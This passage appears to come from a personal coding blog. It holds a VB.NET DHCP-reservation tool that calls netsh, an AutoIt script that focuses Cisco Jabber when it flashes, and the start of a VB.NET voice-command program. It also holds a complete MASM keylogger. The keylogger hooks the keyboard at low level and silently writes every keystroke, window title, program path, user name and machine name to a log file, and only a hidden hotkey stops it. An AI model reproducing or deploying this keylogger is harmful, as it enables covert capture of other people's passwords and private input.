            Debug.WriteLine("ClientLeaseExpires: " & DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime)
            Debug.WriteLine("ClientName: " & DHCP_Clients(i).ClientName)
            Debug.WriteLine("OwnerHoost->HostName: " & DHCP_Clients(i).OwnerHost.HostName)
            Debug.WriteLine("OwnerHost->IpAddress: " & IPConvert(DHCP_Clients(i).OwnerHost.IpAddress))
            Debug.WriteLine("OwnerHost->NetBiosName: " & DHCP_Clients(i).OwnerHost.NetBiosName)
            Debug.WriteLine("SubnetMask: " & UInt32IPAddressToString(DHCP_Clients(i).SubnetMask))

            'ConvertTolease

            'IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim = "10.246.36.101" And
            If (Not IsClientReserved And Not IsClientInActivelyReserved) Then
                Dim MyArgs As String = vbNullString
                If Not IsNothing(DHCP_Clients(i).ClientComment) Then
                    Select Case DHCP_Clients(i).ClientComment.Trim
                        Case ""
                            MyArgs = "dhcp server 10.10.10.10 Scope " & SubnetIP.ToString.Trim & " Add reservedip " & IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim & " " & NetShHardwareAddress.ToString & " """ & DHCP_Clients(i).ClientName & """ ""Set for InfoBlox"" DHCP"
                        Case "This address is already in use"
                            HowManyClientsHaveBadAddresses += 1
                        Case Else
                            MyArgs = "dhcp server 10.10.10.10 Scope " & SubnetIP.ToString.Trim & " Add reservedip " & IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim & " " & NetShHardwareAddress.ToString & " """ & DHCP_Clients(i).ClientName & """ """ & DHCP_Clients(i).ClientComment.ToString.Trim & """ DHCP"
                    End Select
                Else
                    MyArgs = "dhcp server 10.10.10.10 Scope " & SubnetIP.ToString.Trim & " Add reservedip " & IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim & " " & NetShHardwareAddress.ToString & " """ & DHCP_Clients(i).ClientName & """ ""Set for InfoBlox"" DHCP"
                End If

                If MyArgs IsNot Nothing Then
                    Debug.WriteLine("netsh " & MyArgs)
                    Dim MyProcess As New Process
                    MyProcess = Process.Start("netsh", MyArgs)
                    MyProcess.WaitForExit()
                    MachinesThatWillChange &= DHCP_Clients(i).ClientName & "," & IPConvert(DHCP_Clients(i).ClientIpAddress) & "," & NetShHardwareAddress & vbCrLf
                    HowManyClientsAreNeedToBechanged += 1
                Else
                    MachinesThatWillNotChange &= DHCP_Clients(i).ClientName & "," & IPConvert(DHCP_Clients(i).ClientIpAddress) & "," & NetShHardwareAddress & "," & DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime & vbCrLf
                    Debug.WriteLine("This unit has a BAD Address - Skipping")
                End If

            Else
                MachinesThatWillNotChange &= DHCP_Clients(i).ClientName & "," & IPConvert(DHCP_Clients(i).ClientIpAddress) & "," & NetShHardwareAddress & "," & DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime & vbCrLf
                Debug.WriteLine("No NETSH command required")
                HowManyClientsAreAlreadyReserved += 1
            End If


            Debug.WriteLine(vbCrLf & vbCrLf)

            pt = IntPtr.Zero
            j = j + 4

            HowManyClients += 1
        Next i

    End Sub

    Private Sub ConvertTolease(ByVal DHCP_Clients() As DHCP_CLIENT_INFO, ByVal I As Integer)
        If IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim = "10.10.10.10" And False Then
            Dim DHCPv4 As New DHCP_CLIENT_INFOV4
            DHCPv4.bClientType = DHCP_CLIENT_TYPE.CLIENT_TYPE_BOTH
            DHCPv4.ClientComment = DHCP_Clients(i).ClientComment
            DHCPv4.ClientHardwareAddress = DHCP_Clients(i).ClientHardwareAddress
            DHCPv4.ClientIpAddress = DHCP_Clients(i).ClientIpAddress
            DHCPv4.ClientLeaseExpires = DHCP_Clients(i).ClientLeaseExpires
            DHCPv4.ClientName = DHCP_Clients(i).ClientName
            DHCPv4.OwnerHost = DHCP_Clients(i).OwnerHost
            DHCPv4.SubnetMask = DHCP_Clients(i).SubnetMask

            'Dim MyPtrr As IntPtr = Marshal.AllocHGlobal(Marshal.SizeOf(New DHCP_CLIENT_INFOV4))
            'DHCPv4.ClientLeaseExpires.SetToReserved()
            'DHCPv4.ClientLeaseExpires.SetToInfinte()
            'Marshal.StructureToPtr(DHCPv4, MyPtrr, False)
            'Debug.WriteLine("Lease Updated: " & DhcpSetClientInfo(ServerIP, MyPtrr))
            'Debug.WriteLine("Lease Updated: " & DhcpSetClientInfoV4(ServerIP, MyPtrr))

        End If
    End Sub

    ''' <summary>
    ''' 
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    '''

    Public Structure DHCP_SEARCH_INFO
        Dim DHCPSearchInfoType As Integer
        Dim DHCPIPAddress As UInt32
    End Structure

    Private Enum DHCP_SEARCH_INFO_TYPE
        DhcpClientIpAddress
        DhcpClientHardwareAddress
        DhcpClientName
    End Enum
    Public Function GetClientInfo(ByVal serverIP As String, ByVal clientIP As String)
        Dim DHCPResult As UInt32 = 0
        Try
            Dim searchInfo As New DHCP_SEARCH_INFO
            Dim searchInfoType As DHCP_SEARCH_INFO_TYPE = DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress
            searchInfo.DHCPSearchInfoType = searchInfoType
            searchInfo.DHCPIPAddress = Dot2LongIP(clientIP)
            Dim hClientInfo As IntPtr

            DHCPResult = DhcpGetClientInfo(serverIP, searchInfo, hClientInfo)

            If DHCPResult = 0 And Not hClientInfo = IntPtr.Zero Then
                Dim clientInfo As DHCP_CLIENT_INFO = Marshal.PtrToStructure(hClientInfo, GetType(DHCP_CLIENT_INFO))
                Debug.WriteLine("ClientInfo->clientInfo.ClientHardwareAddress " & String.Format("{0:x2}-{1:x2}-{2:x2}-{3:x2}-{4:x2}-{5:x2}", Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 1), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 2), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 3), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 4), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 5)))
                Debug.WriteLine("ClientInfo->clientInfo.ClientIpAddress " & IPConvert(clientInfo.ClientIpAddress))
                Debug.WriteLine("ClientInfo->clientInfo.ClientLeaseExpires " & clientInfo.ClientLeaseExpires.ConvertIntToDateTime)
                Debug.WriteLine("ClientInfo->clientInfo.ClientName " & clientInfo.ClientName)
                Debug.WriteLine("ClientInfo->clientInfo.OwnerHost->HostName " & clientInfo.OwnerHost.HostName)
                Debug.WriteLine("ClientInfo->clientInfo.OwnerHost->IpAddress " & IPConvert(clientInfo.OwnerHost.IpAddress))
                Debug.WriteLine("ClientInfo->clientInfo.OwnerHost->NetBiosName " & clientInfo.OwnerHost.NetBiosName)
                Debug.WriteLine("ClientInfo->clientInfo.SubnetMask " & clientInfo.SubnetMask)
                Debug.WriteLine("ClientInfo->clientInfo.ClientComment " & clientInfo.ClientComment)
                Return (clientInfo)
            End If
            Return Nothing
        Catch ex As Exception
            Console.WriteLine(ex.Message)
            Return Nothing
        End Try
    End Function

    Private Sub EnumAll()
        Dim ListOfSubnets As String() = GetSubnets(ServerIPAddress)
        For Each Subnet As String In ListOfSubnets
            If Subnet = "0.0.0.0" Then
                Exit Sub
            End If
            If Subnet = "10.246.10.0" Or True Then
                ListSubnetClients(ServerIPAddress, Subnet)
            End If
        Next

    End Sub

    Public Sub CompareFirewallRules()
        Dim FileContents = GetFileContents("\\fileshare1\ISStaff\Network\KDB\Config\EMC-ASA.txt")
        Dim h As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName)

        For Each IPString As System.Net.IPAddress In h.AddressList
            'Debug.WriteLine(IPString.ToString)
            If InStr(FileContents, IPString.ToString) > 0 Then
                'Debug.WriteLine(IPString.ToString & " - IP Found in Firewall Rules")
                TextBox1.Text += IPString.ToString & " - IP Found in Firewall Rules"
            End If
        Next
        If TextBox1.Text = vbNullString Then TextBox1.Text = "No Firewall Rules Found!"
    End Sub

    Public Shared Function StringIPAddressToUInt32(ByVal ip_string As String) As UInteger
        Dim IpA As Net.IPAddress = System.Net.IPAddress.Parse(ip_string)
        Dim ip_bytes As Byte() = IpA.GetAddressBytes()
        Dim ip_uint As UInteger = CUInt(ip_bytes(0)) << 24
        ip_uint += CUInt(ip_bytes(1)) << 16
        ip_uint += CUInt(ip_bytes(2)) << 8
        ip_uint += CUInt(ip_bytes(3))
        Return ip_uint
    End Function

    Public Shared Function UInt32IPAddressToString(ByVal ipAddress As UInteger) As String
        Dim ipA As New Net.IPAddress(ipAddress)
        Dim sIp As String() = ipA.ToString().Split("."c)

        Return sIp(3) & "." & sIp(2) & "." & sIp(1) & "." & sIp(0)
    End Function

    Public Function Dot2LongIP(ByVal DottedIP As String) As Integer
        Dim arrDec() As String
        Dim i As Integer
        Dim intResult As Integer
        If DottedIP = "" Then
            Dot2LongIP = 0
        Else
            arrDec = DottedIP.Split(".")
            For i = arrDec.Length - 1 To 0 Step -1
                intResult = intResult + ((Int(arrDec(i)) Mod 256) * Math.Pow(256, 3 - i))
            Next
            Dot2LongIP = intResult
        End If
    End Function

    Public Function IPConvert(ByVal IPAddress As Object) As Object

        Dim x As Integer
        Dim Pos As Integer
        Dim PrevPos As Integer
        Dim Num As Integer

        If IsNumeric(IPAddress) Then
            IPConvert = "0.0.0.0"
            For x = 1 To 4
                Num = Int(IPAddress / 256 ^ (4 - x))
                IPAddress = IPAddress - (Num * 256 ^ (4 - x))
                If Num > 255 Then
                    IPConvert = "0.0.0.0"
                    Exit Function
                End If

                If x = 1 Then
                    IPConvert = Num
                Else
                    IPConvert = IPConvert & "." & Num
                End If
            Next
        ElseIf UBound(Split(IPAddress, ".")) = 3 Then
            '        On Error Resume Next
            For x = 1 To 4
                Pos = InStr(PrevPos + 1, IPAddress, ".", 1)
                If x = 4 Then Pos = Len(IPAddress) + 1
                Num = Int(Mid(IPAddress, PrevPos + 1, Pos - PrevPos - 1))
                If Num > 255 Then
                    IPConvert = "0"
                    Exit Function
                End If
                PrevPos = Pos
                IPConvert = ((Num Mod 256) * (256 ^ (4 - x))) + IPConvert
            Next
        End If

    End Function

    Public Function GetFileContents(ByVal FullPath As String, Optional ByRef ErrInfo As String = "") As String

        Dim strContents As String
        Dim objReader As System.IO.StreamReader
        Try

            objReader = New System.IO.StreamReader(FullPath)
            strContents = objReader.ReadToEnd()
            objReader.Close()
            Return strContents
        Catch Ex As Exception
            ErrInfo = Ex.Message
        End Try
    End Function
End Class

Autoit – Making Jabber Chat client take Focus when Toolbar is flashing

November 20, 2018

#include <GuiConstants.au3>
#include <Misc.au3>
#include <GuiconstantsEx.au3>
#include <WindowsConstants.au3>
#include <ListBoxConstants.au3>
#include <SendMessage.au3>

#NoTrayIcon
Opt("GUICloseOnESC", 0)
Opt("GUIOnEventMode", 1)
Opt("WinWaitDelay", 0)

;Global Const $WM_SYSCOMMAND = 0x0112
;Global Const $LBS_NOINTEGRALHEIGHT = 0x1000
Global Const $SC_MOVE = 0xF010
Global Const $SC_SIZE = 0xF000
Global Const $SC_CLOSE = 0xF060

;ShellHook notification codes:
Global Const $HSHELL_WINDOWCREATED = 1;
Global Const $HSHELL_WINDOWDESTROYED = 2;
Global Const $HSHELL_ACTIVATESHELLWINDOW = 3;
Global Const $HSHELL_WINDOWACTIVATED = 4;
Global Const $HSHELL_GETMINRECT = 5;
Global Const $HSHELL_REDRAW = 6;
Global Const $HSHELL_TASKMAN = 7;
Global Const $HSHELL_LANGUAGE = 8;
Global Const $HSHELL_SYSMENU = 9;
Global Const $HSHELL_ENDTASK = 10;
Global Const $HSHELL_ACCESSIBILITYSTATE = 11;
Global Const $HSHELL_APPCOMMAND = 12;
Global Const $HSHELL_WINDOWREPLACED = 13;
Global Const $HSHELL_WINDOWREPLACING = 14;
Global Const $HSHELL_RUDEAPPACTIVATED = 32772;
Global Const $HSHELL_FLASH = 32774;

Global $bHook = 1
;GUI stuff:

Global $iGuiW = 50, $iGuiH = 50, $sTitle = "Jabber Monitor by Nicholas Hall", $aBtnText[2] = ["START", "STOP"]
$hGui = GUICreate($sTitle, $iGuiW, $iGuiH, -1, 0, $WS_POPUP+$WS_BORDER, $WS_EX_TOPMOST)
GUISetOnEvent($GUI_EVENT_CLOSE, "SysEvents")
GUISetOnEvent($GUI_EVENT_PRIMARYDOWN, "SysEvents")
GUIRegisterMsg($WM_SYSCOMMAND, "On_WM_SYSCOMMAND")
$cBtnMini = GUICtrlCreateButton("v", $iGuiW-$iGuiH, 0, $iGuiH/2, $iGuiH/2)
GUICtrlSetOnEvent(-1, "CtrlEvents")
GUICtrlSetTip(-1, "Minimize")
$cBtnClose = GUICtrlCreateButton("X", $iGuiW-$iGuiH/2, 0, $iGuiH/2, $iGuiH/2)
GUICtrlSetOnEvent(-1, "CtrlEvents")
GUICtrlSetTip(-1, "Exit")
$cBtnHook = GUICtrlCreateButton("", $iGuiW-$iGuiH, $iGuiH/2, $iGuiH, $iGuiH/2)
GUICtrlSetData(-1, $aBtnText[$bHook])
GUICtrlSetTip(-1, "Hook/Unhook Jabber")
GUICtrlSetOnEvent(-1, "CtrlEvents")
;$cList = GUICtrlCreateList("", 0, 0, $iGuiW-$iGuiH-1, $iGuiH, $LBS_NOINTEGRALHEIGHT+$WS_VSCROLL)
GUICtrlSetOnEvent(-1, "CtrlEvents")

;Hook stuff:
GUIRegisterMsg(RegisterWindowMessage("SHELLHOOK"), "HShellWndProc")
ShellHookWindow($hGui, $bHook)


GUISetState()

While 1
    Sleep(1000)
WEnd

Func SysEvents()
    Switch @GUI_CtrlId
        Case $GUI_EVENT_CLOSE
            Exit
        Case $GUI_EVENT_PRIMARYDOWN
            ;CTRL + Left click to drag GUI
            If _IsPressed("11") Then
                DllCall("user32.dll", "int", "ReleaseCapture")
                DllCall("user32.dll", "int", "SendMessage", "hWnd", $hGui, "int", 0xA1, "int", 2, "int", 0)
            EndIf
    EndSwitch
EndFunc
Func CtrlEvents()
    Switch @GUI_CtrlId
        Case $cBtnMini
            GUISetState(@SW_MINIMIZE)
        Case $cBtnClose
            _SendMessage($hGui, $WM_SYSCOMMAND, $SC_CLOSE, 0)
        Case $cBtnHook
            $bHook = BitXOR($bHook, 1)
            ShellHookWindow($hGui, $bHook)
            GUICtrlSetData($cBtnHook, $aBtnText[$bHook])
    EndSwitch   
EndFunc
Func HShellWndProc($hWnd, $Msg, $wParam, $lParam)
    Switch $wParam
        Case $HSHELL_FLASH
            MsgPrint("Window flash: " & $lParam & " (" & WinGetTitle($lParam) & ")")
            MsgPrint(ProcessGetName(WinGetProcess($lParam)))
            if ProcessGetName(WinGetProcess($lParam)) = "CiscoJabber.exe" Then
               WinActivate($lParam)
            endif
            ;if WinGetTitle($lParam) = "Conversations" Then
            ;EndIf
        Case Else
            ;MsgPrint("Unknown ShellHook message: " & $wParam & " , " & $lParam)
    EndSwitch
 EndFunc
 Func ProcessGetName($PId)
    If IsNumber($PId) = 0 Then
        SetError(2)
    ElseIf $PId > 9999 Then
        SetError(1)
    Else
        Local $PList = ProcessList()
        Local $i = 1
        Local $ProcessName = ""

        While $i <= $PList[0][0] And $ProcessName = ""
            If $PList[$i][1] = $PId Then
                $ProcessName = $PList[$i][0]
            Else
                $i = $i + 1
            EndIf
        WEnd
        Return $ProcessName
    EndIf
EndFunc ;==>ProcessGetName
;register/unregister ShellHook
Func ShellHookWindow($hWnd, $bFlag)
    Local $sFunc = 'DeregisterShellHookWindow'
    If $bFlag Then $sFunc = 'RegisterShellHookWindow'
    Local $aRet = DllCall('user32.dll', 'int', $sFunc, 'hwnd', $hWnd)
    MsgPrint($sFunc & ' = ' & $aRet[0])
    Return $aRet[0]
EndFunc
Func MsgPrint($sText)
    ConsoleWrite($sText & @CRLF)
    ;GUICtrlSendMsg($cList, $LB_SETCURSEL, GUICtrlSendMsg($cList, $LB_ADDSTRING, 0, $sText), 0)
EndFunc
;register window message
Func RegisterWindowMessage($sText)
    Local $aRet = DllCall('user32.dll', 'int', 'RegisterWindowMessage', 'str', $sText)
    Return $aRet[0]
EndFunc
Func On_WM_SYSCOMMAND($hWnd, $Msg, $wParam, $lParam)
    Switch BitAND($wParam, 0xFFF0)
        Case $SC_MOVE, $SC_SIZE
        Case $SC_CLOSE
            ShellHookWindow($hGui, 0)
            Return $GUI_RUNDEFMSG
            ;Exit
    EndSwitch
EndFunc

MASM Keylogger

November 19, 2018

.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\advapi32.inc
include \masm32\include\msvcrt.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\msvcrt.lib

pushz macro szText:VARARG
local nexti
call nexti
db szText,00h
nexti:
endm

fopen PROTO C :DWORD, :DWORD
fprintf PROTO C :DWORD, :VARARG
fflush PROTO C :DWORD
fclose PROTO C :DWORD

.data

hBuffer dd ?
hComputerName db 32 dup(0)
hCurrentThreadPiD dd 0
hCurrentWindow dd 0
hDateFormat db "dd MMM yyyy", 0
hDomaineName db 128 dup(0)
hFile dd 0
hHook dd 0
hmodul MODULEENTRY32 <>
hSnapShot dd 0
hTimeFormat db "hh:mm:ss tt", 0
hUserName db 32 dup(0)
msg MSG <>
onlyOneCopy db "Global\zkl",0

.code

main:
push offset onlyOneCopy ; check to make sure we are the only copy
push 0 ; of this program running for this user
push 0 ; for fast user switching we can still have
call CreateMutexA ; one copy per user running with this check
call GetLastError ; but if this user is running one already. we exit
cmp eax,ERROR_ALREADY_EXISTS
je more_than_one_copy

xor ebx, ebx ; Zero Out ebx

push VK_F11 ; this will switch logger off using CTRL+ALT+F11 together
push MOD_CONTROL or MOD_ALT
push 0badfaceh ; name of register key -> "0BADFACE"
push ebx ;
call RegisterHotKey ; we got a new hot key

pushz "ab" ; append in binary mode
pushz "zLog" ; name of log file
call fopen ; open the log file
add esp, 2*4 ; all c lib functions need fixup..
mov [hFile], eax ; save our file number

push ebx
call GetModuleHandleA ; get our module handle for setting the hook

push ebx ; register our keyboard hook proc and start hooking
push eax
push offset KeyBoardProc ; where our hook proc is located
push WH_KEYBOARD_LL ; low level key logger WH_KEYBOARD_LL = 13
call SetWindowsHookExA ; Look MOM no DLL Needed :P
mov [hHook], eax ; ok here is our hook handle for later

push ebx ; We Need to check for messages like our
push ebx ; hot key, so we can close when we get it
push ebx
push offset msg ; it will be in the message struct
call GetMessageA ; wait for a message

push [hHook] ; we got the hot key, lets close up house
call UnhookWindowsHookEx ; make sure we unhook things to be nice

push [hFile] ; close our logfile before we stop
call fclose
add esp, 04

more_than_one_copy:

push eax ; call stop and lets go away
call ExitProcess

;##############################################################

KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
LOCAL lpKeyState[256] :BYTE
LOCAL lpClassName[64] :BYTE
LOCAL lpCharBuf[32] :BYTE
LOCAL lpDateBuf[12] :BYTE
LOCAL lpTimeBuf[12] :BYTE
LOCAL lpLocalTime :SYSTEMTIME
;----------------------------

lea edi, [lpKeyState] ; lets zero out our buffers
push 256/4
pop ecx
xor eax, eax
rep stosd ; sets us up for doubleword from EAX

mov eax, wParam
cmp eax, WM_KEYUP ; only need WM_KEYDOWN
je next_hook ; bypass double logging

cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN
je next_hook ; bypass double logging

call GetForegroundWindow ; get handle for currently used window ( specific to NT and after )
cmp [hCurrentWindow], eax ; if its not different to last one saved..
je no_window_change ; bypass all the headings

mov [hCurrentWindow], eax ; save it for use now and compare later

push 64 ; get the class name
lea esi, [lpClassName]
push esi
push [hCurrentWindow]
call GetClassName

lea esi, [lpLocalTime] ; invoke GetLocalTime, ADDR LocalTime
push esi
call GetLocalTime

push 12 ; invoke GetDateFormat, NULL, NULL \
lea esi, [lpDateBuf]
push esi ; ADDR lpLocalTime, ADDR hDateFormat \
lea esi, [hDateFormat]
push esi ; ADDR lpDateBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetDateFormat ; format the date

push 12 ; invoke GetTimeFormat, NULL, NULL \
lea esi, [lpTimeBuf]
push esi ; ADDR lpLocalTime, ADDR hTimeFormat \
lea esi, [hTimeFormat]
push esi ; ADDR lpTimeBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetTimeFormat ; format the time

lea esi, [hCurrentThreadPiD] ; get the processid that sent the key
push esi ; using the HWND we got earlier from
mov eax, [hCurrentWindow] ; our GetForegroundWindow call
push eax ; we need it to get the program exe name
call GetWindowThreadProcessId

mov ebx, hCurrentThreadPiD ; remember we are NOT using a DLL so.....
push ebx ; we need to use ToolHelp procs to get
push TH32CS_SNAPMODULE ; the program exe name of who sent us
call CreateToolhelp32Snapshot ; this key
mov hSnapShot,eax ; save the ToolHelp Handle to close later

mov hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail

push offset hmodul ; first Module is always module for process
mov eax, [hSnapShot] ; so safe to assume that the exe file name here
push eax ; will always be the right one for us
call Module32First

mov eax, [hSnapShot] ; we are done with ToolHelp so we need
push eax ; to tell it we wish to close
call CloseHandle

push 256 ; find the window title text
lea esi, [lpKeyState] ; use lpKeyState it's not being used yet so
push esi
mov eax, [hCurrentWindow] ; using the HWND we got from GetForegroundWindow
push eax
call GetWindowText

push offset hmodul.szExePath
lea esi, [lpTimeBuf] ; print the formatted time
push esi
lea esi, [lpDateBuf] ; print the formatted date
push esi
pushz 13,10,"[%s, %s - Program:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4

lea esi, [lpClassName] ; print the Window Class Name
push esi
lea esi, [lpKeyState] ; print the Window Title
push esi
pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4

mov hBuffer, 128 ; get the current domain name
push offset hBuffer
push offset hDomaineName
push 1
call GetComputerNameExA

mov hBuffer, 32 ; get the current computer name
push offset hBuffer
push offset hComputerName
push 0
call GetComputerNameExA

mov hBuffer, 32 ; get the current user name
push offset hBuffer
push offset hUserName
call GetUserNameA

push offset hUserName ; print the user name
push offset hComputerName ; print the computer name
push offset hDomaineName ; print the domain name
pushz "[ Domain:%s - Computer:%s - User:%s]",13,10
push [hFile]
call fprintf ; write to cache
add esp, 3*4

push [hFile]
call fflush ; flush data buffer to disk..
add esp, 4

no_window_change:
mov esi, [lParam] ; we don't want to print shift or capslock names.
lodsd ; it just makes the logs easier to read without them.
cmp al, VK_LSHIFT ; they are tested later when distinguishing between
je next_hook ; bypass left shift Key for upper/lowercase characters
cmp al, VK_RSHIFT
je next_hook ; bypass right shift Key
cmp al, VK_CAPITAL
je next_hook ; bypass caps lock Key
cmp al, VK_ESCAPE
je get_name_of_key ; we Want escape characters
cmp al, VK_BACK
je get_name_of_key ; we want backspace key
cmp al, VK_TAB
je get_name_of_key ; we want tab key
;------------------
lea edi, [lpCharBuf] ; zero initialise buffer for key text
push 32/4
pop ecx
xor eax, eax
rep stosd
;----------
lea ebx, [lpKeyState]
push ebx
call GetKeyboardState ; get current keyboard state

push VK_LSHIFT ; test if left shift key held down
call GetKeyState
xchg esi, eax ; save result in esi

push VK_RSHIFT ; test right..
call GetKeyState
or eax, esi ; al == 1 if either key is DOWN

mov byte ptr [ebx + 16], al ; toggle a shift key to on/off

push VK_CAPITAL
call GetKeyState ; returns TRUE if caps lock is on
mov byte ptr [ebx + 20], al ; toggle caps lock to on/off

mov esi, [lParam]
lea edi, [lpCharBuf]
push 00h
push edi ; buffer for ascii characters
push ebx ; keyboard state
lodsd
xchg eax, edx
lodsd
push eax ; hardware scan code
push edx ; virutal key code
call ToAscii ; convert to human readable characters
test eax, eax ; if return zero, continue
jnz test_carriage_return ; else, write to file.

get_name_of_key: ; no need for large table of pointers to get asciiz
mov esi, [lParam]
lodsd ; skip virtual key code
lodsd ; eax = scancode
shl eax, 16
xchg eax, ecx
lodsd ; extended key info
shl eax, 24
or ecx, eax

push 32
lea edi, [lpCharBuf]
push edi
push ecx
call GetKeyNameTextA ; get the key text

push edi
pushz "[%s]" ; print the special key text
jmp write_to_file

test_carriage_return:
push edi
pushz "%s" ; print regular keys

cmp byte ptr [edi], 0dh ; carriage return?
jne write_to_file

mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.
write_to_file:
push [hFile] ; where we write to the log file
call fprintf
add esp, 2*4
next_hook:
push [lParam] ; reply for possible other hooks waiting
push [wParam]
push [nCode]
push [hHook]
call CallNextHookEx
ret
KeyBoardProc ENDP

end main

Adding Voice Recognition to your applications in VB.NET

November 16, 2018

Imports System.Globalization
Imports System.Speech
Imports System.Speech.Recognition
Imports System.Speech.Synthesis
Module Module1

    Dim ss As New SpeechSynthesizer()
    Dim sre As SpeechRecognitionEngine
    Dim done As Boolean = False
    Dim speechOn As Boolean = True
    Public Sub Main()
        ss.SetOutputToDefaultAudioDevice()
        ss.Speak("Starting")
        Dim ci As New CultureInfo("en-us")
        sre = New SpeechRecognitionEngine(ci)
        sre.SetInputToDefaultAudioDevice()
        AddHandler sre.SpeechRecognized, AddressOf sre_SpeechRecognized

        LoadGrammer()
        sre.RecognizeAsync(RecognizeMode.Multiple)
        While done = False

        End While

        Try

            Console.WriteLine(vbLf & "Hit <enter> to close shell" & vbLf)
            Console.ReadLine()
        Catch ex As Exception
            Console.WriteLine(ex.Message)
            Console.ReadLine()
        End Try
    End Sub

    Private Function LoadGrammer()
        Try
            Dim ch_StartStopCommands As New Choices()
            ch_StartStopCommands.Add("rdp")
            ch_StartStopCommands.Add("speech on")
            ch_StartStopCommands.Add("speech off")
            ch_StartStopCommands.Add("Close")
            Dim gb_StartStop As New GrammarBuilder()
            gb_StartStop.Append(ch_StartStopCommands)
            Dim g_StartStop As New Grammar(gb_StartStop)
            sre.LoadGrammarAsync(g_StartStop)

            Dim ch_boolean As New Choices()
            ch_boolean.Add("dictate on")
            ch_boolean.Add("dictate off")
            ch_boolean.Add("dictation on")
            ch_boolean.Add("dictation off")
            Dim gb_dictate As New GrammarBuilder()
            gb_dictate.Append(ch_boolean)
            Dim g_dictate As New Grammar(gb_dictate)
            sre.LoadGrammarAsync(g_dictate)

            Dim ch_Numbers As New Choices()
            ch_Numbers.Add("1")
            ch_Numbers.Add("2")
            ch_Numbers.Add("3")
            ch_Numbers.Add("4")
            Dim gb_WhatIsXplusY As New GrammarBuilder()
            gb_WhatIsXplusY.Append("What Is")
            gb_WhatIsXplusY.Append(ch_Numbers)
            gb_WhatIsXplusY.Append("plus")
            gb_WhatIsXplusY.Append(ch_Numbers)
            Dim g_WhatIsXplusY As New Grammar(gb_WhatIsXplusY)
            sre.LoadGrammarAsync(g_WhatIsXplusY)

            Dim ch_servers As New Choices()
            ch_servers.Add("fileshare users")
            ch_servers.Add("provision")
            ch_servers.Add("vmServer")
            ch_servers.Add("file eye es people")
            Dim explorerGrammerBuilder As New GrammarBuilder()
            explorerGrammerBuilder.Append("explorer")
            explorerGrammerBuilder.Append(ch_servers)
            Dim explorerGrammer As New Grammar(explorerGrammerBuilder)
            sre.LoadGrammarAsync(explorerGrammer)

            Dim ch_apps As New Choices({"notepad", "hexeditor", "datacenter", "prtg", "cacti", "nagios", "eye es portal", "infoblox", "command"})
            Dim openGrammerBuilder As New GrammarBuilder()
            openGrammerBuilder.Append("open")
            openGrammerBuilder.Append(ch_apps)
            Dim openGrammer As New Grammar(openGrammerBuilder)
            sre.LoadGrammarAsync(openGrammer)

            Dim ch_rdp As New Choices({"vm", "nt"})
            Dim ch_hundres As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9", "100", "200", "300", "400", "500", "600", "700", "800", "900"})
            Dim ch_tens As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9", "eleven", "twelve", "thirteen", "fourteen", "fifthteen", "sixten", "seventeen", "eightteen", "nineteen", "20", "30", "40", "50", "60", "70", "80", "90"})
            Dim ch_ones As New Choices({"1", "2", "3", "4", "5", "6", "7", "8", "9"})
            Dim rdpGrammerBuilder As New GrammarBuilder()
            rdpGrammerBuilder.Append("rdp")
            rdpGrammerBuilder.Append(ch_rdp)
            rdpGrammerBuilder.Append(ch_hundres)
            rdpGrammerBuilder.Append(ch_tens)
            rdpGrammerBuilder.Append(ch_ones, 0, 1)
            'rdpGrammerBuilder.AppendDictation("spelling")
            Dim rdpGrammer As New Grammar(rdpGrammerBuilder)
            sre.LoadGrammarAsync(rdpGrammer)

            Dim ch_drive As New Choices({"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P"})
            Dim TreeSizeGrammerBuilder As New GrammarBuilder()
            TreeSizeGrammerBuilder.Append("treesize")
            TreeSizeGrammerBuilder.Append(ch_rdp)
            TreeSizeGrammerBuilder.Append(ch_hundres)
            TreeSizeGrammerBuilder.Append(ch_tens)
            TreeSizeGrammerBuilder.Append(ch_ones, 0, 1)
            TreeSizeGrammerBuilder.Append(ch_drive, 0, 1)
            'rdpGrammerBuilder.AppendDictation("spelling")
            Dim TreeSizeGrammer As New Grammar(TreeSizeGrammerBuilder)
            sre.LoadGrammarAsync(TreeSizeGrammer)
        Catch ex As Exception
            Console.WriteLine(ex.Message)
            Console.ReadLine()
        End Try
    End Function
    Public Function URLDecode(ByVal Source As String) As String
        Dim x As Integer = 0
        Dim CharVal As Byte = 0
        Dim sb As New System.Text.StringBuilder()

        For x = 0 To (Source.Length - 1)
            Dim c As Char = Source(x)
            'Check for space
            If (c = "+") Then
                sb.Append(" ")
            ElseIf c <> "%" Then
